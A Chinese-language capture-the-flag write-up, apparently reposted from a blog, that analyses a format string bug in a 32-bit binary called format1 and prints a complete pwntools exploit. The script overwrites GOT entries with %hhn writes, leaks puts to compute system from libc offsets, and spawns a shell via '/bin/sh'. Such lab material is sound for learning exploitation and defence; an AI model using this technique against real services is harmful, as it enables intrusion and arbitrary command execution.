一道格式化输出题
作者:互联网
- 分析
- 步骤说明
- 完整exp
- 对format1进行分析:
使用IDA对该程序进行初步分析。
该程序主要部分有main函数,puts函数,exit函数:
getname函数,read函数,printf函数:
该程序是通过read获取一个输入字符串并将其放入buf,然后使用printf输出。但是printf函数中只有&buf一个参数,存在格式化字符串漏洞。
漏洞利用思路:
step1.将exit函数的GOT表地址用main函数地址覆写,实现函数的循环;
step2.通过printf格式化字符串漏洞,读取puts函数的真实地址,并计算得到system函数的地址;
step3.通过格式化字符串漏洞,用system函数地址覆盖GOT表中的printf函数地址;
step4.输入'/bin/sh',执行system('/bin/sh');
- step1:
使用IDA查找exit函数的GOT表地址以及main函数的地址:
使用gdb调试,查看printf函数到buf中间间隔多少个参数:
0xac-0x90 = 28,即7个参数。
编写构造格式化字符串的函数generate_format(addr,value)
def genernate_format(addr,value):
payload = ''
print_count = 0
addr_part = ''
for i in range(8):
if(value >> (8*i)) == 0:
break
one_byte = (value >> (8*i)) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count)
% 0x100,19 + i)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr + i)
payload = payload.ljust((19-7)*4,'a')
payload += addr_part
return payload
调用函数生成第一步的payload
p.recvuntil('Welcome~\n')
addr_main = 0x08048648
addr_exit_got = 0x0804A024
payload1 = genernate_format(addr_exit_got,addr_main)
p.sendline(payload1)
发送payload后可以看到此时exit函数的地址已被修改为main函数地址:
- step2:
利用格式化字符串漏洞实现任意地址读。
使用%num$s + puts@got的格式读取地址,由于buf从第7个参数开始,则buf中的puts@got是第8个参数,即num=8。
使用IDA查看puts函数的GOT表地址:
构造payload2并接收读出的地址:
p.recvuntil('Welcome~\n')
addr_puts_got = 0x0804A01C
payload2 = '%8$s' + p32(addr_puts_got)
p.sendline(payload2)
addr_puts = u32(p.recv(4))
通过libc文件中两个函数的偏移差,计算system函数的地址:
lib = ELF('./libc.so')
addr_sys = addr_puts - (lib.symbols['puts'] - lib.symbols['system'])
- step3:
使用IDA查看printf函数的GOT表地址:
调用generate_format函数生成并发送payload3,将printf覆写为system:
p.recvuntil('Welcome~\n')
addr_printf_got = 0x0804A014
payload3 = genernate_format(addr_printf_got,addr_sys)
p.sendline(payload3)
- step4:
发送'/bin/sh'
p.recvuntil('Welcome~\n')
payload4 = '/bin/sh'
p.sendline(payload4)
p.interactive()
getshell:
完整exp如下:
from pwn import *
#from pwnlib.elf import symbols
def genernate_format(addr,value):
payload = ''
print_count = 0
addr_part = ''
for i in range(8):
if(value >> (8*i)) == 0:
break
one_byte = (value >> (8*i)) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count)
% 0x100,19 + i)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr + i)
payload = payload.ljust((19-7)*4,'a')
payload += addr_part
return payload
p = process('./format1')
#step1
p.recvuntil('Welcome~\n')
addr_main = 0x08048648
addr_exit_got = 0x0804A024
payload1 = genernate_format(addr_exit_got,addr_main)
#pwnlib.gdb.attach(p,'b main')
p.sendline(payload1)
#step2
p.recvuntil('Welcome~\n')
addr_puts_got = 0x0804A01C
payload2 = '%8$s' + p32(addr_puts_got)
p.sendline(payload2)
addr_puts = u32(p.recv(4))
lib = ELF('./libc.so')
addr_sys = addr_puts - (lib.symbols['puts'] - lib.symbols['system'])
#step3
p.recvuntil('Welcome~\n')
addr_printf_got = 0x0804A014
payload3 = genernate_format(addr_printf_got,addr_sys)
p.sendline(payload3)
#step4
p.recvuntil('Welcome~\n')
payload4 = '/bin/sh'
p.sendline(payload4)
p.interactive()
标签:输出,格式化,函数,puts,一道,printf,got,payload,addr 来源: https://www.cnblogs.com/sithf/p/15625833.html